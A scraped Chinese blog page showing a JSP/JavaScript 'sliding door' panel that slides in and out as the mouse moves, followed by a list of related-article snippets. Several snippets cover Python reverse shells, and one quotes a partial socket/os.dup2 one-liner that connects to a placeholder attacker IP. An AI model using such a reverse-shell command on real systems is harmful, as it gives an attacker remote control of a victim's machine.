zhangp210
zhangp210

推拉门的js实现

 

  
  
  
  
    
   
   
   
   
  1. <%@page contentType="text/html; charset=UTF-8"%>  
    2. 
   
   
   
   
  2. <html>  
    3. 
   
   
   
   
  3. <head>  
    4. 
   
   
   
   
  4. <style>  
    5. 
   
   
   
   
  5.     #tlm{  
    6. 
   
   
   
   
  6.         width: 200px;  
    7. 
   
   
   
   
  7.         height: 400px;  
    8. 
   
   
   
   
  8.         border : 2px solid #008000;  
    9. 
   
   
   
   
  9.         position: absolute;  
    10. 
   
   
   
   
  10.         right: -170px;  
    11. 
   
   
   
   
  11.         top:50px;  
    12. 
   
   
   
   
  12.         z-index: 7777777;  
    13. 
   
   
   
   
  13.         background-image: url("<%=request.getContextPath() %>/pages/test/tuilamen.jpg");      
    14. 
   
   
   
   
  14.     }  
    15. 
   
   
   
   
  15. </style>  
    16. 
   
   
   
   
  16. <script type="text/javascript" src="<%=request.getContextPath() %>/resources/base/tho/prototype/prototype.js"></script>  
    17. 
   
   
   
   
  17. <script type="text/javascript">  
    18. 
   
   
   
   
  18.     var right=-170;  
    19. 
   
   
   
   
  19.     var startFlag=true;//锁  
    20. 
   
   
   
   
  20.     function moveRight(){  
    21. 
   
   
   
   
  21.             right-=2;  
    22. 
   
   
   
   
  22.             $('tlm').style.right=right+'px';      
    23. 
   
   
   
   
  23.     }  
    24. 
   
   
   
   
  24.     function moveLeft(){  
    25. 
   
   
   
   
  25.             right+=2;  
    26. 
   
   
   
   
  26.             $('tlm').style.right=right+'px';  
    27. 
   
   
   
   
  27.     }  
    28. 
   
   
   
   
  28.       
    29. 
   
   
   
   
  29.     function moveToRight(){  
    30. 
   
   
   
   
  30.             moveRight();  
    31. 
   
   
   
   
  31.             if(right>-170){  
    32. 
   
   
   
   
  32.                 setTimeout(moveToRight,1);    
    33. 
   
   
   
   
  33.             }else{  
    34. 
   
   
   
   
  34.                 startFlag=false;  
    35. 
   
   
   
   
  35.             }  
    36. 
   
   
   
   
  36.               
    37. 
   
   
   
   
  37.     }  
    38. 
   
   
   
   
  38.     function moveToLeft(){  
    39. 
   
   
   
   
  39.             moveLeft();  
    40. 
   
   
   
   
  40.             if(right<0){  
    41. 
   
   
   
   
  41.                 setTimeout(moveToLeft,1);     
    42. 
   
   
   
   
  42.             }else{  
    43. 
   
   
   
   
  43.                 startFlag=false;  
    44. 
   
   
   
   
  44.             }  
    45. 
   
   
   
   
  45.                   
    46. 
   
   
   
   
  46.     }     
    47. 
   
   
   
   
  47.     function test(){  
    48. 
   
   
   
   
  48.             if(right==0&&startFlag==true){  
    49. 
   
   
   
   
  49.                 moveToRight();  
    50. 
   
   
   
   
  50.             }else if(right==-170&&startFlag==true){  
    51. 
   
   
   
   
  51.                  moveToLeft();  
    52. 
   
   
   
   
  52.             }  
    53. 
   
   
   
   
  53.     }  
    54. 
   
   
   
   
  54.     function jiesuo(){//解锁  
    55. 
   
   
   
   
  55.         startFlag=true;  
    56. 
   
   
   
   
  56.     }  
    57. 
   
   
   
   
  57. </script>  
    58. 
   
   
   
   
  58. </head>  
    59. 
   
   
   
   
  59. <body style="white-space:nowrap;width:1003px;overflow:hidden; " onclick="jiesuo()">  
    60. 
   
   
   
   
  60.     <div id="tlm" onmousemove="test()" >  
    61. 
   
   
   
   
  61.         <ul>  
    62. 
   
   
   
   
  62.             <li>11111111111</li>  
    63. 
   
   
   
   
  63.             <li>22222222222</li>  
    64. 
   
   
   
   
  64.             <li>33333333333</li>  
    65. 
   
   
   
   
  65.             <li>44444444444</li>  
    66. 
   
   
   
   
  66.             <li>55555555555</li>  
    67. 
   
   
   
   
  67.             <li>66666666666</li>  
    68. 
   
   
   
   
  68.             <li>77777777777</li>  
    69. 
   
   
   
   
  69.             <li>88888888888</li>          
    70. 
   
   
   
   
  70.         </ul>         
    71. 
   
   
   
   
  71.     </div>  
    72. 
   
   
   
   
  72. </body>  
    73. 
   
   
   
   
  73. </html>  
    74.

 

你可能感兴趣的:(js,职场,实现,休闲,推拉门)

  • DM数据库安装与配置指南：实现高效部署的详细步骤 H03004 oracle数据库
    随着信息技术的飞速发展，数据库作为信息系统的核心组件之一，在企业数据管理中扮演着至关重要的角色。DM数据库（达梦数据库）是一款由中国武汉达梦数据库有限公司自主研发的高性能、高可用性、安全可靠的数据库管理系统，广泛应用于政府、金融、能源等多个领域。本文将详细介绍如何在Linux环境下高效地安装和配置DM数据库，帮助读者掌握从环境准备到后期维护的全流程。一、环境准备操作系统选择：确保您的服务器或计算机
  • Fabric.js：让网页图形动起来的魔术师！ DT—— 其他fabricjavascript运维
    Fabric.js：赋予Canvas生命的魔术师之手在网页开发的世界里，图形的创建与操作就像一场精心编排的魔术表演。当我们想要在网页上呈现出绚丽多彩、灵活多变的矢量图形时，原生Canvas虽能实现基础功能，却常常因开发效率低、交互实现复杂等问题，让开发者们头疼不已。而今天要给大家介绍的Fabric.js，就像是一位神奇的魔术师，轻轻挥动魔杖，就能赋予Canvas无限的生命力！1.Fabric.js
  • Luckysheet Excel xlsx 导入导出互相转换 HelloAldis Javaluckysheetxlsxexceljava
    LuckysheetExcelxlsx导入导出互相转换LuckysheetExcelxlsx的导入导出互相转换使用方法支持功能列表LuckysheetExcelxlsx的导入导出互相转换Luckysheet支持在线编辑表格，但官方不支持Luckysheet导出为Excelxlsx，也不支持Excelxlsx导入，也就是Luckysheetjson无法同xlsx格式互相转换，现在给大家介绍一个好用的
  • ECMAScript 2019（ES2019）：数组与对象操作的精细化升级 DT—— ECMAScript历史进程javascript前端
    1.版本背景与发布发布时间：2019年6月，由ECMAInternational正式发布，标准编号为ECMA-26210thEdition。历史意义：作为ES6之后的第四次年度更新，ES2019聚焦于数组、对象和字符串操作的精细化改进，提升开发效率和代码可读性。时代背景：随着前端框架的成熟和Node.js的普及，开发者对数组扁平化、对象转换等高频操作的需求激增，ES2019的发布回应了这些痛点。2
  • vue面试题整理1 weixin_42339193 vue.js前端javascript
    一、基础概念题1、Vue响应式原理是什么？如何检测数组变化？Vue的响应式原理主要是通过使用JavaScript的对象属性访问器（getters和setters）、依赖收集（dependencytracking）以及异步更新策略来实现的。以下是其核心概念：数据劫持/代理：Vue2.x使用Object.defineProperty方法将数据对象的所有属性转换为getter/setter形式。当属性被
  • 牛客AI面试「情景模拟」独家首发，将能力验证从“说”变为“做” 牛客企业服务 人工智能面试职场和发展
    今日，牛客重磅推出AI面试「情景模拟」功能——Roleplay，首次在AI面试中实现真实职场场景还原。通过动态角色扮演+实时压力测试，让候选人“现场应战”，直接暴露真实能力边界，更好预测员工实际工作表现。一、高效筛选“能做”而非“知道”的人，避免自我报告偏差传统面试依赖候选人“自述经历”，易包装虚构，可能筛选出“知道正确回答”的人（如销售流程），难以验证真实执行能力。牛客AI面试情景模拟逼近真实职
  • 智能招聘新生态：牛客AI面试如何重塑企业人才战略 牛客企业服务 人工智能面试职场和发展求职招聘科技springpython
    在数字化浪潮席卷全球的今天，企业招聘正经历着前所未有的变革。某生活服务电商巨头通过深度应用牛客AI面试，实现了从传统招聘到智能化筛选的跨越式升级。这场以技术驱动的效率革命，不仅解决了多元化业务下的招聘难题，更重新定义了人才评估的标准与流程。一、破解多元业务招聘难题：牛客AI面试的精准赋能作为业务覆盖即时配送、餐饮服务、技术研发及海外市场拓展的综合性企业，该巨头面临着从基层岗位到高端技术人才的全链条
  • mysql怎样区分「主表」与从表 跨越七海 DatabaseSystemDesignmysql数据库sql
    实体完整性是通过主键约束实现的，而参照完整性是通过外键约束实现的，两者都是为了保证数据的完整性和一致性。主键约束比较好理解，就是主键值不能为空且不重复，已经强调好多次，所以这里重点记录对外键约束的学习。主表与从表若同一个数据库中，B表的外键与A表的主键相对应，则A表为主表，B表为从表。假设学生表(学号，姓名，性别，专业号)，专业表(专业号，专业名称)，则学生表中的专业号为学生表的外键，其与专业表中
  • mysql主从表配置文件_mysql主从复制配置 代土 mysql主从表配置文件
    #以下是mysql5.6及5.7版本的，其他版本不知是否一致目的：1.为了冗余备份，主库挂了，切换到从库使用2.为了实现读写分离，主从复制是实现读写分离的前提主从复制的原理图：配置步骤：1.修改配置文件vim/etc/my.cnf#不同mysql的server-id需要不同主库添加配置信息：[mysqld]server-id=1log-bin=z-mysql-bin从库添加配置信息：[mysqld
  • MCP模型上下文协议：AI人工智能模型训练的自动化调参 AI天才研究院 AI人工智能与大数据人工智能自动化运维ai
    MCP模型上下文协议：AI人工智能模型训练的自动化调参关键词：MCP模型、自动化调参、AI训练、超参数优化、上下文协议、机器学习、深度学习摘要：本文深入探讨MCP模型上下文协议在AI模型训练自动化调参中的应用。MCP(ModelContextProtocol)是一种创新的自动化调参框架，通过上下文感知和动态参数调整机制，显著提升模型训练效率和性能。文章将从理论基础、算法实现、数学原理到实际应用进行
  • 利用ShadowRoot 实现样式隔离 Helson@lin javascriptchromedevtools
    ShadowRootShadowDOMAPI的ShadowRoot接口是一个DOM子树的根节点，它与文档的主DOM树分开渲染。ShadowRoot的模式——可以是open或者closed。这定义了shadowroot的内部实现是否可被JavaScript访问及修改—也就是说ShadowRoot的特性图片来源：掘金（https://juejin.cn/post/6979489951108825095
  • Sentinel 授权规则详解与自定义异常处理 述雾学java SpringCloudsentinel
    Sentinel授权规则详解与自定义异常处理在微服务系统中，权限控制和访问保护是至关重要的一环。本文将详细介绍如何通过Sentinel的授权规则（AuthorityRule）控制资源访问权限，并结合实际案例说明如何设置白名单与黑名单，以及如何实现自定义异常返回，提升系统的稳定性与用户体验。一、Sentinel授权规则授权规则用于对资源进行访问权限控制，其核心思想是：给指定资源配置“流控应用”，然后
  • 基于arm的linux系统调用分析 hello_zfy 学习笔记armlinux面试
    1系统调用的作用linux内核中设置了一组用于实现各种系统功能的子程序，称为系统调用，最简单的如read，write,open等等。用户可以通过系统调用命令在自己的应用程序上调用他们，从某种角度来看，系统调用和普通函数调用非常相似。区别在于系统调用由操作系统核心提供，运行在内核态，而普通函数调用由函数库或用户自己提供，运行于用户态。实际上，很多已经被我们习以为常的C语言标准函数，在linux平台上
  • Spring Cloud Feign 整合 Sentinel 实现服务降级与熔断保护 述雾学java SpringCloudspringcloudsentineljava
    SpringCloudFeign整合Sentinel实现服务降级与熔断保护在微服务架构中，服务之间的调用往往依赖Feign，而服务调用的稳定性又至关重要。本文将介绍如何将Feign与Sentinel结合使用，实现服务的容错保护（如降级与熔断），提升系统的健壮性与可用性。一、引入依赖我们创建一个新的微服务，作为Feign调用方。pom.xml中添加如下依赖：org.springframework.b
  • MyBatis注解开发增删改查基础篇 1加1等于 #SpringBootspringboot
    本文是MyBatis注解开发的基础篇，将通过实际场景，详细介绍MyBatis注解式开发的使用，这是MyBatis很强大的一个特性，可以直接在接口方法上定义SQL语句，从而实现数据库的增删改查操作。本文目录一、环境依赖二、创建对应实体类三、映射接口四、复杂查询与动态SQL一、环境依赖在开发之前，需要确保环境pom.xml中添加了MyBatis相关依赖。org.mybatis.spring.bootm
  • python反弹shell 46497976464 linux网络运维服务器
    你是想问Python如何实现反弹shell吗？反弹shell是一种通过远程连接获取受害者计算机的shell权限的攻击技术。使用Python反弹shell的方法如下：首先，在本地计算机上运行一个监听程序，等待连接。然后，在受害者计算机上运行一个Python脚本，该脚本将连接到本地计算机的监听程序。当连接建立后，就可以通过本地计算机上的shell命令控制受害者计算机。具体的代码实现可以参考如下：本地计
  • Vue计算属性与监视属性 tianzhiyi1989sq vue.js前端javascript
    1.1什么是计算属性？计算属性是Vue中一个非常实用的特性，它允许我们基于已有的数据属性计算出新的属性值。简单来说，计算属性就是通过data中已定义的属性计算得来的属性。原理：Vue底层使用defineProperty方法提供的getter和setter来实现计算属性。1.2计算属性的特点缓存机制：计算属性会缓存计算结果，只有依赖的属性发生变化时才会重新计算响应式：当依赖的数据变化时，计算属性会自
  • 信创背景下应用软件迁移解析：从政策解读到落地实践方案 tianzhiyi1989sq 人工智能
    一、信创背景与政策解读1.1什么是信创？信创（信息技术应用创新）是指用我国自主研发的基础软硬件产品实现对国外产品的替代，特别是在CPU、GPU及操作系统等关键领域。其核心目标是解决核心技术"卡脖子"问题，构建安全可控的IT底层架构和标准。1.2国家政策导向根据"十四五"《软件和信息技术服务发展规划》：战略高度：软件产业已上升为国家战略关键任务：提升关键软件供给能力（操作系统、数据库等）壮大信息技术
  • 使用 Python 实现反弹 shell suanfa_student pythonchrome开发语言
    使用Python实现反弹shell如果目标系统有Python环境，可以使用以下Python命令反弹shell：python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP地址",端口号));os.dup2(s.fileno(),0);os.dup2(s.
  • 外观模式 - Flutter中的一键操作大师，复杂功能的极简入口！ 明似水 flutter外观模式flutterjavascript
    痛点场景：多步骤的用户注册流程假设你的应用需要处理以下注册步骤：验证邮箱格式检查密码强度调用注册API保存用户Token初始化用户配置同步基础数据发送欢迎邮件传统实现方式：FutureregisterUser(Stringemail,Stringpassword)async{//1.验证邮箱if(!EmailValidator.validate(email)){throwInvalidEmailE
  • 详细介绍python中的模块、包、库之间的区别和联系 ‎Melody. python开发语言
    在Python中，模块（Module）、包（Package）和库（Library）是三个重要的概念，它们用于组织代码和实现代码复用。下面详细解释这三个概念：1.模块（Module）定义：一个模块就是一个以.py为后缀的Python文件。这个文件可以包含函数、类、变量以及可执行的代码。作用：模块用于将相关的代码组织在一个文件中，便于管理和重用。使用：通过import语句导入模块，然后使用模块名加点操
  • Springboot整合Elasticsearch及常用方法大全 水木石画室 springbootelasticsearchjenkins
    SpringBoot整合Elasticsearch是企业级开发中常见的需求，用于实现高效的全文检索、日志分析等功能。以下是整合的核心步骤和常用方法大全，涵盖从基础配置到高级操作的完整流程。一、环境准备与依赖配置1.环境要求Elasticsearch：需先安装并启动（建议7.10+或8.x版本，与SpringDataElasticsearch兼容）。SpringBoot：推荐2.7.x或3.x版本（
  • Cortex-A9解码H265遇到的程序崩溃问题 melonbo FFMPEGffmpeg
    1、应用背景处理器采用Cortex-A9，从网络摄像机拉取RTSP视频流，编码格式为H265，在打开rtsp视频流时有小概率出现程序崩溃的问题。2、分析根据coredump文件显示，问题出现在hevcdsp_sao_neon.s文件，它的作用是优化HEVC视频编码器的性能，特别是在处理视频帧时，通过NEON指令集实现的并行处理能力，可以显著提高视频编码的速度。ARMNEON指令集是ARM平台上的S
  • 从汇编指令看函数调用堆栈的详细过程 melonbo 编译汇编开发语言
    1、C++代码这个C++源码实现了一个简单的加法函数，并在主函数中调用该函数来计算两个整数的和。intsum(inta,intb){inttemp=0;temp=a+b;returntemp;}intmain(){inta=10;intb=20;intret=sum(a,b);return0;}2、汇编代码在ARMCortex-A9平台上，编译后的C++源代码的汇编代码如下：.cpucortex-
  • 点赞功能真的有必要上 Redis 吗？（Mongo、MySQL、Redis、MQ 实测性能对比） 陈亦康 Redis深入学习经验分享面试总结redis数据库缓存
    免费查看本文章可前往我的网站：PiQiu目录一、你会怎么设计一个点赞功能？1.1、点赞实现思路1.2、点赞功能设计1.2.1、MySQL单表1.2.2、单表+MySQL关联表1.2.3、MySQL关联表+mq1.2.4、redis+mq1.2.5、mongodb关联文档二、性能测试2.1、前置说明2.2、10万数据准备三、基于Mongo的几种点赞功能设计思路3.1、前置说明：点赞功能设计到的业务3
  • 在合法靶场中用 Python 打造可升级的反弹 Shell Hello.Reader linux渗透测试python开发语言
    1反弹Shell概念与工作原理正向Shell：攻方主动连接受害主机并获得交互式命令行。大多受防火墙阻拦。反向/反弹Shell：受害主机（被控端）主动拨出，连接到攻方监听的端口，绕过内网出口防火墙。通信流程攻方监听LHOST:LPORT。受害主机执行脚本，向该地址建TCP/TLS连接。将标准输入/输出/错误重定向到Socket，实现交互。2环境准备角色系统工具攻方KaliLinux/ParrotOS
  • python | vscode | cursor | 使用uv快速创建虚拟环境（实现一个项目一个虚拟环境，方便环境管理） 让我安静会 配置与安装pythonvscodeuv
    从笨重的pycharm转到vscode/cursor。vscode是编辑器，虽然可以安装各种extension，还是需要安装python解释器。安装python，实现基本代码运行：去python官网下载python的windows安装包（python解释器）安装时记得选择customized，安装非C盘中（比如D盘）将python添加到PATH中：把刚刚安装python的路径添加到系统环境变量中（
  • 【功能测试02-测试计划】 子善. 功能测试功能测试
    测试计划主要是用来明确方向，指导测试过程。一般包含以下核心内容：【测试目的】：明确本次测试目的，明确各个模块要做的测工作和实现的功能【测试范围】：在当前敏捷开发模式下，在每个迭代的计划环节，规定测试范围能提高效率。测试的时间和资源都是有限的，所以必须明确“测什么”和“不测什么”。【测试策略】：我们后面开展测试的思路，明确“先测什么，后测什么”和“如何来测”，需要说明采用什么测试类型和测试方法，测试
  • 提高APP安全性的必备加固手段——深度解析代码混淆技术 Nginx运维小李 ios
    APP加固方式iOSAPP加固是优化APK安全性的一种方法，常见的加固方式有混淆代码、加壳、数据加密、动态加载等。下面介绍一下iOSAPP加固的具体实现方式。混淆代码：使用ProGuard工具可以对代码进行混淆，使得反编译出来的代码很难阅读和理解。使用方式：在build.gradle文件中配置proguard-rules.pro文件，然后在项目构建时执行混淆。加壳：使用加壳工具对APK文件进行加壳
  • 【HarmonyOS NEXT】滑动选中放大卡片效果
    【HarmonyOSNEXT】滑动选中放大卡片效果鸿蒙开发能力##HarmonyOSSDK应用服务##鸿蒙金融类应用（金融理财一、功能效果：1.横向滚动列表，手势左右滑动，居中选中会放大。2.左边滑动到首部，在居中位置。同理，尾部也在居中位置。3.放大选中和滑动滚动效果丝滑。二、开发思路:【完整代码请参考章节三】1.使用list实现横向滚动列表的效果@BuilderListView(){List(
  • Java实现的基于模板的网页结构化信息精准抽取组件：HtmlExtractor yangshangchuan 信息抽取HtmlExtractor精准抽取信息采集
    HtmlExtractor是一个Java实现的基于模板的网页结构化信息精准抽取组件，本身并不包含爬虫功能，但可被爬虫或其他程序调用以便更精准地对网页结构化信息进行抽取。   HtmlExtractor是为大规模分布式环境设计的，采用主从架构，主节点负责维护抽取规则，从节点向主节点请求抽取规则，当抽取规则发生变化，主节点主动通知从节点，从而能实现抽取规则变化之后的实时动态生效。 如
  • java编程思想 -- 多态 百合不是茶 java多态详解
    一: 向上转型和向下转型 面向对象中的转型只会发生在有继承关系的子类和父类中（接口的实现也包括在这里）。父类：人    子类：男人向上转型： Person p = new Man() ; //向上转型不需要强制类型转化向下转型： Man man =
  • [自动数据处理]稳扎稳打,逐步形成自有ADP系统体系 comsci dp
          对于国内的IT行业来讲,虽然我们已经有了"两弹一星",在局部领域形成了自己独有的技术特征,并初步摆脱了国外的控制...但是前面的路还很长....       首先是我们的自动数据处理系统还无法处理很多高级工程...中等规模的拓扑分析系统也没有完成,更加复杂的
  • storm 自定义 日志文件 商人shang stormclusterlogback
    Storm中的日志级级别默认为INFO，并且，日志文件是根据worker号来进行区分的，这样，同一个log文件中的信息不一定是一个业务的，这样就会有以下两个需求出现： 1. 想要进行一些调试信息的输出 2. 调试信息或者业务日志信息想要输出到一些固定的文件中   不要怕，不要烦恼，其实Storm已经提供了这样的支持，可以通过自定义logback 下的 cluster.xml 来输
  • Extjs3 SpringMVC使用 @RequestBody 标签问题记录 21jhf
    springMVC使用 @RequestBody(required = false) UserVO userInfo 传递json对象数据，往往会出现http 415，400,500等错误，总结一下需要使用ajax提交json数据才行，ajax提交使用proxy，参数为jsonData，不能为params；另外，需要设置Content-type属性为json，代码如下： （由于使用了父类aaa
  • 一些排错方法 文强chu 方法
    1、java.lang.IllegalStateException: Class invariant violation at org.apache.log4j.LogManager.getLoggerRepository(LogManager.java:199)at org.apache.log4j.LogManager.getLogger(LogManager.java:228) at o
  • Swing中文件恢复我觉得很难 小桔子 swing
           我那个草了！老大怎么回事，怎么做项目评估的？只会说相信你可以做的，试一下，有的是时间！        用java开发一个图文处理工具，类似word，任意位置插入、拖动、删除图片以及文本等。文本框、流程图等，数据保存数据库，其余可保存pdf格式。ok,姐姐千辛万苦，
  • php 文件操作 aichenglong PHP读取文件写入文件
    1 写入文件 @$fp=fopen("$DOCUMENT_ROOT/order.txt", "ab"); if(!$fp){ echo "open file error" ; exit; } $outputstring="date:"." \t tire:".$tire."
  • MySQL的btree索引和hash索引的区别 AILIKES 数据结构mysql算法
    Hash 索引结构的特殊性，其 检索效率非常高，索引的检索可以一次定位，不像B-Tree 索引需要从根节点到枝节点，最后才能访问到页节点这样多次的IO访问，所以 Hash 索引的查询效率要远高于 B-Tree 索引。     可能很多人又有疑问了，既然 Hash 索引的效率要比 B-Tree 高很多，为什么大家不都用 Hash 索引而还要使用 B-Tree 索引呢
  • JAVA的抽象--- 接口 --实现 百合不是茶
    抽象 接口 实现接口   //抽象 类 ,方法   //定义一个公共抽象的类 ,并在类中定义一个抽象的方法体 抽象的定义使用abstract   abstract class A 定义一个抽象类 例如： //定义一个基类 public abstract class A{     //抽象类不能用来实例化，只能用来继承 //
  • JS变量作用域实例 bijian1013 作用域
    <script> var scope='hello'; function a(){ console.log(scope); //undefined var scope='world'; console.log(scope); //world console.log(b);
  • TDD实践（二） bijian1013 javaTDD
    实践题目：分解质因数 Step1： 单元测试： package com.bijian.study.factor.test; import java.util.Arrays; import junit.framework.Assert; import org.junit.Before; import org.junit.Test; import com.bijian.
  • [MongoDB学习笔记一]MongoDB主从复制 bit1129 mongodb
    MongoDB称为分布式数据库，主要原因是1.基于副本集的数据备份， 2.基于切片的数据扩容。副本集解决数据的读写性能问题，切片解决了MongoDB的数据扩容问题。   事实上，MongoDB提供了主从复制和副本复制两种备份方式，在MongoDB的主从复制和副本复制集群环境中，只有一台作为主服务器，另外一台或者多台服务器作为从服务器。 本文介绍MongoDB的主从复制模式，需要指明
  • 【HBase五】Java API操作HBase bit1129 hbase
    import java.io.IOException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hbase.HBaseConfiguration; import org.apache.hadoop.hbase.HColumnDescriptor; import org.apache.ha
  • python调用zabbix api接口实时展示数据 ronin47
    zabbix api接口来进行展示。经过思考之后，计划获取如下内容：     1、  获得认证密钥     2、  获取zabbix所有的主机组     3、  获取单个组下的所有主机     4、  获取某个主机下的所有监控项  
  • jsp取得绝对路径 byalias 绝对路径
    在JavaWeb开发中，常使用绝对路径的方式来引入JavaScript和CSS文件，这样可以避免因为目录变动导致引入文件找不到的情况，常用的做法如下： 一、使用${pageContext.request.contextPath} 　　代码” ${pageContext.request.contextPath}”的作用是取出部署的应用程序名，这样不管如何部署，所用路径都是正确的。
  • Java定时任务调度：用ExecutorService取代Timer bylijinnan java
    《Java并发编程实战》一书提到的用ExecutorService取代Java Timer有几个理由，我认为其中最重要的理由是： 如果TimerTask抛出未检查的异常，Timer将会产生无法预料的行为。Timer线程并不捕获异常，所以 TimerTask抛出的未检查的异常会终止timer线程。这种情况下，Timer也不会再重新恢复线程的执行了;它错误的认为整个Timer都被取消了。此时，已经被
  • SQL 优化原则 chicony sql
    一、问题的提出 　在应用系统开发初期，由于开发数据库数据比较少，对于查询SQL语句，复杂视图的的编写等体会不出SQL语句各种写法的性能优劣，但是如果将应用系统提交实际应用后，随着数据库中数据的增加，系统的响应速度就成为目前系统需要解决的最主要的问题之一。系统优化中一个很重要的方面就是SQL语句的优化。对于海量数据，劣质SQL语句和优质SQL语句之间的速度差别可以达到上百倍，可见对于一个系统
  • java 线程弹球小游戏 CrazyMizzz java游戏
    最近java学到线程，于是做了一个线程弹球的小游戏，不过还没完善 这里是提纲 1.线程弹球游戏实现 1.实现界面需要使用哪些API类 JFrame JPanel JButton FlowLayout Graphics2D Thread Color ActionListener ActionEvent MouseListener Mouse
  • hadoop jps出现process information unavailable提示解决办法 daizj hadoopjps
    hadoop jps出现process information unavailable提示解决办法   jps时出现如下信息： 3019 -- process information unavailable3053 -- process information unavailable2985 -- process information unavailable2917 --
  • PHP图片水印缩放类实现 dcj3sjt126com PHP
    <?php class Image{ private $path; function __construct($path='./'){ $this->path=rtrim($path,'/').'/'; } //水印函数，参数：背景图，水印图，位置，前缀,TMD透明度 public function water($b,$l,$pos
  • IOS控件学习：UILabel常用属性与用法 dcj3sjt126com iosUILabel
    参考网站： http://shijue.me/show_text/521c396a8ddf876566000007 http://www.tuicool.com/articles/zquENb http://blog.csdn.net/a451493485/article/details/9454695 http://wiki.eoe.cn/page/iOS_pptl_artile_281
  • 完全手动建立maven骨架 eksliang javaeclipseWeb
    建一个 JAVA 项目 ： mvn archetype:create -DgroupId=com.demo -DartifactId=App [-Dversion=0.0.1-SNAPSHOT] [-Dpackaging=jar] 建一个 web 项目 ： mvn archetype:create -DgroupId=com.demo -DartifactId=web-a
  • 配置清单 gengzg 配置
    1、修改grub启动的内核版本 vi /boot/grub/grub.conf 将default 0改为1 拷贝mt7601Usta.ko到/lib文件夹 拷贝RT2870STA.dat到 /etc/Wireless/RT2870STA/文件夹 拷贝wifiscan到bin文件夹，chmod 775 /bin/wifiscan 拷贝wifiget.sh到bin文件夹，chm
  • Windows端口被占用处理方法 huqiji windows
    以下文章主要以80端口号为例，如果想知道其他的端口号也可以使用该方法..........................1、在windows下如何查看80端口占用情况?是被哪个进程占用?如何终止等.        这里主要是用到windows下的DOS工具,点击"开始"--"运行",输入&
  • 开源ckplayer 网页播放器， 跨平台(html5, mobile)，flv, f4v, mp4, rtmp协议. webm, ogg, m3u8 ！ 天梯梦 mobile
    CKplayer，其全称为超酷flv播放器，它是一款用于网页上播放视频的软件，支持的格式有：http协议上的flv,f4v,mp4格式，同时支持rtmp视频流格 式播放，此播放器的特点在于用户可以自己定义播放器的风格，诸如播放/暂停按钮，静音按钮，全屏按钮都是以外部图片接口形式调用，用户根据自己的需要制作 出播放器风格所需要使用的各个按钮图片然后替换掉原始风格里相应的图片就可以制作出自己的风格了，
  • 简单工厂设计模式 hm4123660 java工厂设计模式简单工厂模式
           简单工厂模式（Simple Factory Pattern）属于类的创新型模式，又叫静态工厂方法模式。是通过专门定义一个类来负责创建其他类的实例，被创建的实例通常都具有共同的父类。简单工厂模式是由一个工厂对象决定创建出哪一种产品类的实例。简单工厂模式是工厂模式家族中最简单实用的模式，可以理解为是不同工厂模式的一个特殊实现。
  • maven笔记 zhb8015 maven
    跳过测试阶段： mvn package -DskipTests 临时性跳过测试代码的编译： mvn package -Dmaven.test.skip=true   maven.test.skip同时控制maven-compiler-plugin和maven-surefire-plugin两个插件的行为，即跳过编译，又跳过测试。   指定测试类 mvn test
  • 非mapreduce生成Hfile，然后导入hbase当中 Stark_Summer maphbasereduceHfilepath实例
    最近一个群友的boss让研究hbase，让hbase的入库速度达到5w+/s，这可愁死了，4台个人电脑组成的集群，多线程入库调了好久，速度也才1w左右，都没有达到理想的那种速度，然后就想到了这种方式，但是网上多是用mapreduce来实现入库，而现在的需求是实时入库，不生成文件了，所以就只能自己用代码实现了，但是网上查了很多资料都没有查到，最后在一个网友的指引下，看了源码，最后找到了生成Hfile
  • jsp web tomcat 编码问题 王新春 tomcatjsppageEncode
    今天配置jsp项目在tomcat上，windows上正常，而linux上显示乱码，最后定位原因为tomcat 的server.xml 文件的配置，添加 URIEncoding 属性： <Connector port="8080" protocol="HTTP/1.1" connectionTi
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他